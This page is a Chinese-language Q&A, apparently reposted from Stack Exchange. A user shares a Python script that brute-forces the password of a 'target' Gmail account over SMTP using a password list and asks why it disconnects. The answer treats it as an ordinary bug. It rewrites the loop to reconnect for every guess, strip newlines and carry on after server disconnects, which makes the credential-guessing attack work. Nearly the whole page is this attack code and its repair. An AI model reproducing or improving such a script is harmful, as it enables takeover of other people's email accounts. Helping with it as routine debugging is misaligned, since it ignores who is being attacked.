You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

如何解决Python连接Gmail SMTP时的SMTPServerDisconnected错误?

修复SMTP连接Gmail时的smtplib.SMTPServerDisconnected错误

问题描述

我编写了一段Python代码尝试通过SMTP连接Gmail服务器进行登录验证,代码如下:

smtpserver = smtplib.SMTP('smtp.gmail.com', 587) # ***tried ssl but no avail***

smtpserver.ehlo()
smtpserver.starttls()

user = input("Enter The Target Gmail Adress => ")
print("\n")

pwd = input("Enter '0' to use the inbuilt passwords list \nEnter '2' to Add a custom password list\n => ")

if pwd=='0':
    passswfile="password.txt"

elif pwd=='2':
    print("\n")
    passswfile = input("Name The File Path (For Password List) => ")

else:
    print("\n")
    print("Invalid input!")
    sys.exit(1)
try:
    passswfile = open(passswfile, "r")
except Exception as e:
    print(e)
    sys.exit(1)

for password in passswfile:
    try:
        smtpserver.login(user, password)

        print("[+] Password Found %s" % password)
        break

    except smtplib.SMTPAuthenticationError:
        print("[!] Password Is Wrong. %s " % password)

运行代码时出现如下错误:

Traceback (most recent call last):
      File "C:\Users\yourmom\Downloads\hack-gmail-master\hack-gmail.py", line 56, in <module>
        smtpserver.login(user, password)
      File "C:\Program Files\WindowsApps\PythonSoftwareFoundation.Python.3.11_3.11.1264.0_x64__qbz5n2kfra8p0\Lib\smtplib.py", line 739, in login
        (code, resp) = self.auth(
                       ^^^^^^^^^^
      File "C:\Program Files\WindowsApps\PythonSoftwareFoundation.Python.3.11_3.11.1264.0_x64__qbz5n2kfra8p0\Lib\smtplib.py", line 642, in auth
        (code, resp) = self.docmd("AUTH", mechanism + " " + response)
                       ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
      File "C:\Program Files\WindowsApps\PythonSoftwareFoundation.Python.3.11_3.11.1264.0_x64__qbz5n2kfra8p0\Lib\smtplib.py", line 432, in docmd
        return self.getreply()
               ^^^^^^^^^^^^^^^
      File "C:\Program Files\WindowsApps\PythonSoftwareFoundation.Python.3.11_3.11.1264.0_x64__qbz5n2kfra8p0\Lib\smtplib.py", line 405, in getreply
        raise SMTPServerDisconnected("Connection unexpectedly closed")
    smtpserver.SMTPServerDisconnected: Connection unexpectedly closed

修复方案

1. 适配Gmail的SMTP认证规则

Gmail目前不支持普通账号密码直接通过SMTP登录,必须采用以下方式之一:

  • 启用两步验证并生成应用专用密码:在Google账号安全设置中开启两步验证后,生成一个专门用于SMTP登录的应用密码,用该密码替代普通密码进行验证。
  • 启用"不太安全的应用访问":该选项已逐步被Google移除,仅适用于未开启两步验证的旧账号,不推荐使用。

2. 解决连接复用导致的断开问题

Gmail服务器会因多次失败的认证请求主动断开连接,原代码复用同一个连接循环尝试密码,会触发断开错误。修改方式:每次尝试密码前重新建立SMTP连接:

import smtplib
import sys

# 省略用户输入和文件读取部分...

for password in passswfile:
    password = password.strip()  # 移除换行符和空白字符
    try:
        # 每次尝试前重新初始化连接
        smtpserver = smtplib.SMTP('smtp.gmail.com', 587)
        smtpserver.ehlo()
        smtpserver.starttls()
        smtpserver.login(user, password)
        
        print(f"[+] Password Found: {password}")
        smtpserver.quit()
        break
    except smtplib.SMTPAuthenticationError:
        print(f"[!] Password Is Wrong: {password}")
        smtpserver.quit()
    except smtplib.SMTPServerDisconnected:
        print(f"[!] Connection closed, retrying with next password...")
        continue

3. 处理密码中的换行符

从文本文件读取密码时,每行末尾会自带换行符\n,这会导致密码验证失败,必须用strip()方法移除这些多余字符。

4. 补充缺失的模块导入

原代码使用了smtplib和sys模块但未添加导入语句,需在代码开头补充:

import smtplib
import sys

内容的提问来源于stack exchange,提问作者Happypython

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.07.13 20:24:50